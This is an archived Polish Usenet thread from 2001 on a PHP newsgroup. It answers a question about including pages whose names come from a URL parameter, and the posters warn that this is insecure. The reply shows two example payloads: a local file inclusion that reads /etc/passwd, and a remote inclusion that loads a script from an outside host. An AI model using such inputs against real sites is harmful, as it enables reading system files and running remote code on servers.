Article View: pl.comp.lang.php
Article #1232Re: bezpieczenstwo
From: Grzegorz 'Ygreg' Plebański
Date: Wed, 29 Aug 2001 11:53
Date: Wed, 29 Aug 2001 11:53
19 lines
1496 bytes
1496 bytes
Lukasz Klimek wrote: > > Gr0g zeznal(a): > >Pisze pierwszy raz na ta grupe, wiec witam wszytkich. > > > >czy moze orientujecie sie czy bezpeczne jest doczepienie stron przez include > >ktorych nazwy sa pobierane z parametru: > Tak to nie... > > index.php?file=/etc/passwd > :))) E, ja mam lepsze ;-) index.php?file=http://www.mojhost.com/mojskrypt.php -- Grzegorz Plebański ygreg@ygreg.com \ / / www.ygreg.com Profesjonalne serwery wirtualne za \/ / _ _ rozsądną cenę: www.ygreg.com/hosting / / -- |_) |_ / Web Forum: www.ygreg.com/forum / /____| | \ |_ /_]
Technical Details
Message-ID:
<3B8CD7D6.8E0EB318@ygreg.com>Path:
mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!pingwin.icm.edu.pl!mat.uni.torun.pl!news.man.torun.pl!news.icm.edu.pl!newsfeed.tpinternet.pl!news.tpi.pl!not-for-mailReferences:
<9md4n3$96f$1@news.tpi.pl> <slrn9ok6df.1mj.casa@localhost.localdomain>Show Full Headers
Complete Article Headers
Path: mbox-mo1.pugleaf.net!news-archive.icm.edu.pl!pingwin.icm.edu.pl!mat.uni.torun.pl!news.man.torun.pl!news.icm.edu.pl!newsfeed.tpinternet.pl!news.tpi.pl!not-for-mail From: Grzegorz 'Ygreg' Plebański <ygreg@ygreg.com> Newsgroups: pl.comp.lang.php Subject: Re: bezpieczenstwo Date: Wed, 29 Aug 2001 13:53:58 +0200 Organization: tp.internet - http://www.tpi.pl Lines: 20 Message-ID: <3B8CD7D6.8E0EB318@ygreg.com> References: <9md4n3$96f$1@news.tpi.pl> <slrn9ok6df.1mj.casa@localhost.localdomain> NNTP-Posting-Host: qc102.warszawa.cvx.ppp.tpnet.pl Mime-Version: 1.0 X-Trace: news.tpi.pl 999086705 28236 217.99.12.102 (29 Aug 2001 12:05:05 GMT) X-Complaints-To: usenet@tpi.pl NNTP-Posting-Date: 29 Aug 2001 12:05:05 GMT X-Accept-Language: en X-Mailer: Mozilla 4.6 [en] (Win95; I) Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit